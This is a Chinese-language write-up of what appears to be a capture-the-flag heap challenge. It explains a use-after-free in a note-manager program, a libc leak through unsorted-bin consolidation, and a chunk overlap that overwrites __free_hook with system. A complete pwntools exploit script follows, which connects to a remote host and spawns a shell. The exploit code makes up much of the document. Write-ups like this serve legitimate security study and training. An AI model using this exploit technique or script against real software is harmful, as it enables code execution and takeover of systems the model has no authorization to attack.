基本流程
- 通过 UAF 泄漏 libc 地址
- 使用 UAF 实现任意地址劫持
程序描述
一个很简单的堆块操作相关的程序,可以对堆块进行增删改查。在对堆块进行增加时,一共可以添加 16 个堆块,每个堆块的大小需在 0xF 到 0x60 之间:

除了对堆块的增删改查之外,还可以有一次输入名字的机会。但是值得注意的是,输入名字时申请的堆块内存很大:

此外,在程序的修改功能中,只能从 +8 内容开始编辑,因此无法直接修改 FD 指针完成控制流劫持:

程序漏洞
程序漏洞非常简单,在 delete 的时候将堆块 free 之后,没有对相应位置置空,因此存在明显的 UAF:

利用
首先,由于申请内存的范围只能在 0xF 与 0x90 之间,我们无法直接将堆块放入到 unsorted bin 中来泄漏 libc 地址。但是之前提到,设置名字的时候会申请 0x400 大小的堆块,此时会将 fast bin 中的 Chunk 合并,放入到 unsorted bin 中,然后再申请 0x400 大小的内存时,接下来的内存区域就会被放置 main arena 的地址,通过 UAF 可以直接泄漏。
for i in range(16):
add(i, 0x60)
for i in range(10):
delete(i)
leave_name("1234")
for i in range(7):
add(i, 0x60)
add(7, 0x50)
leak = show(7)[1:7]
之后,同样适用 UAF 改写 __free_hook 为 system,即可劫持控制流。但是需要注意只能修改 +0x8 开始的地址,因此需要构造出一个 Chunk Overlap 的状态,让前面的堆块覆盖到放置在 tcache 中的堆块即可完成任意修改。
Exp
from pwn import *
program = remote("52.152.231.198", 8081)
def add(idx, size):
program.sendafter(">> ", "1")
program.sendafter("index", str(idx))
program.sendafter("size", str(size))
def delete(idx):
program.sendafter(">> ", "2")
program.sendafter("index", str(idx))
def edit(idx, content):
program.sendafter(">> ", "3")
program.sendafter("index", str(idx))
program.sendafter("content", content)
def show(idx):
program.sendafter(">> ", "4")
program.sendafter("index", str(idx))
content = program.recvuntil("1.", drop=True)
return content
def leave_name(name):
program.sendafter(">> ", "5")
program.sendafter("name:", name)
def show_name():
content = program.recvuntil("\n1.", drop=True)
return content
for i in range(16):
add(i, 0x60)
for i in range(10):
delete(i)
leave_name("1234")
for i in range(7):
add(i, 0x60)
add(7, 0x50)
leak = show(7)[1:7]
libc_base = u64(leak.ljust(8, '\x00')) - 0x3ebde0
info("Libc base: " + hex(libc_base))
add(11, 0x60)
edit(11, p64(0x71) * 2)
add(12, 0x60)
edit(12, p64(0x71) + "/bin/sh\x00")
delete(13)
delete(10)
delete(8)
free_hook = libc_base + 0x3ed8e8
system = libc_base + 0x4f550
edit(11, p64(0x71) + p64(free_hook - 8))
add(0, 0x60)
add(1, 0x60)
edit(1, p64(system))
delete(9)
program.interactive()
pause()